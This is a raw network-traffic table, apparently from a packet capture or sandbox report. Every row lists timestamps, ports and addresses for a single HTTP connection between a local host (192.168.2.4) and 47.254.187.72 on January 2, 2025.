Jan 2, 2025 20:35:00.606827974 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606837988 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606848955 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606859922 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606859922 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.606869936 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606880903 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606889009 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.606894970 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606905937 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606918097 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606940985 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.606940985 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.606977940 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.607065916 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607078075 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607084036 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607093096 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607105970 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607144117 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.607145071 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.607327938 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607338905 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607347965 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607358932 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607369900 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607381105 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607383013 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.607383013 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.607445002 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.607466936 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607477903 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607486963 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607492924 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607549906 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.607549906 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.607745886 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607764959 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607840061 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607850075 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607856035 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607877970 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.607892990 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607903957 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607913971 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.607927084 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.607927084 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.608078003 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608088970 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608108044 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608123064 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.608123064 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.608123064 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608134985 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608145952 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608155966 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608166933 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608172894 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.608172894 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.608177900 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608189106 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608198881 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608218908 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.608218908 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.608377934 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608387947 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608398914 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.608428001 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.608436108 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608448029 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608458042 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608468056 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.608582020 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.608582020 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.611771107 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611782074 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611792088 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611802101 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611812115 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611821890 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611828089 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611855030 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.611855030 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.611882925 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611887932 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.611895084 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611906052 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611916065 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611926079 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611933947 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.611937046 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611949921 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611958981 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.611970901 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.611972094 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.611998081 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612154961 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612165928 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612171888 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612214088 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612281084 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612296104 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612306118 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612317085 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612328053 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612334967 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612335920 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612339020 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612351894 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612385988 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612385988 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612544060 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612554073 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612570047 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612584114 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612595081 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612603903 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612603903 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612605095 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612617016 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612626076 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612636089 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612646103 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612648964 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612656116 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612683058 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612683058 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612725973 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.612807989 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.612930059 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.613118887 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.613236904 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.021306992 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.148964882 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.530543089 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.530561924 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.530575037 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.530586958 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.530652046 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.530652046 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.531394005 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.531407118 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.531419039 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.531435013 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.531467915 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.531467915 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.531514883 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.534828901 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.534852028 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.534862041 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.534881115 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.534890890 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.534889936 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.534909964 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.534951925 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.536593914 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.536604881 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.536617041 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.536628008 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.536668062 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.536668062 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.540096045 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.540110111 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.540122032 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.540133953 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.540163994 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.540163994 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.540177107 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.540215969 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.540338039 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.541986942 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.541999102 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.542016029 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.542026997 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.542047024 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.542047977 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.542072058 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.543610096 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.543663979 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.543674946 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.543684959 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.543697119 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.543708086 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.543708086 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.543802977 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.546953917 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.546967030 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.546977997 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.546989918 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.547038078 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.547038078 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.548502922 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.548515081 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.548526049 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.548556089 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.548624992 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.551996946 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.552010059 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.552021027 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.552031994 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.552087069 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.552087069 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.553731918 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.553744078 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.553754091 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.553766966 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.553774118 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.553778887 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.553828001 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.553828001 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.555773973 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.555785894 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.555804014 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.555814981 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.555851936 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.555851936 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.555937052 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.558959961 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.558974028 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.558985949 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.559045076 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.559045076 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.559205055 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.559216976 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.559228897 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.559266090 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.559266090 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.560730934 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.560744047 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.560755014 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.560791016 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.560842991 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.564408064 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.564419985 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.564429998 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.564486027 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.564486027 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.564706087 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.564718008 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.564728022 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.564753056 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.564781904 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.565792084 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.565821886 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.565850973 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.565850973 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.566091061 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.566126108 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.566134930 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.566162109 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.566162109 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.569514990 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.569525957 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.569538116 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.569547892 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.569581032 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.569581032 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.571012974 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.571049929 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.571059942 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.571070910 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.571080923 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.571082115 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.571110010 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.571157932 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.572741032 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.572751045 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.572768927 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.572781086 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.572789907 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.572813988 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.572813988 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.573004961 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.576308966 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.576322079 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.576333046 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.576344013 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.576355934 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.576391935 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.577991009 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.578002930 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.578016043 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.578026056 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.578027964 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.578073025 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.578073025 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.581444979 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.581459045 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.581470013 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.581510067 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.581510067 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.583065033 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.583116055 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.583148956 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.583148956 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.583182096 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.583228111 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.583233118 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.583240032 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.583250999 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.583281040 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.583323002 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.584861040 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.584904909 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.584919930 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.584930897 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.584940910 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.584944010 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.584944010 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.584989071 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.588334084 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.588346004 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.588357925 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.588368893 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.588402987 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.588402987 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.590122938 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.590136051 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.590147018 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.590157986 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.590189934 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.590219975 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.593470097 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.593482018 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.593491077 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.593503952 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.593513012 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.593559027 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.593559027 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.595143080 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.595175982 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.595186949 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.595200062 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.595212936 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.595212936 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.595330954 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.596930981 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.596951008 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.596962929 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.596972942 CET	80	49740	47.254.187.72	192.168.2.4
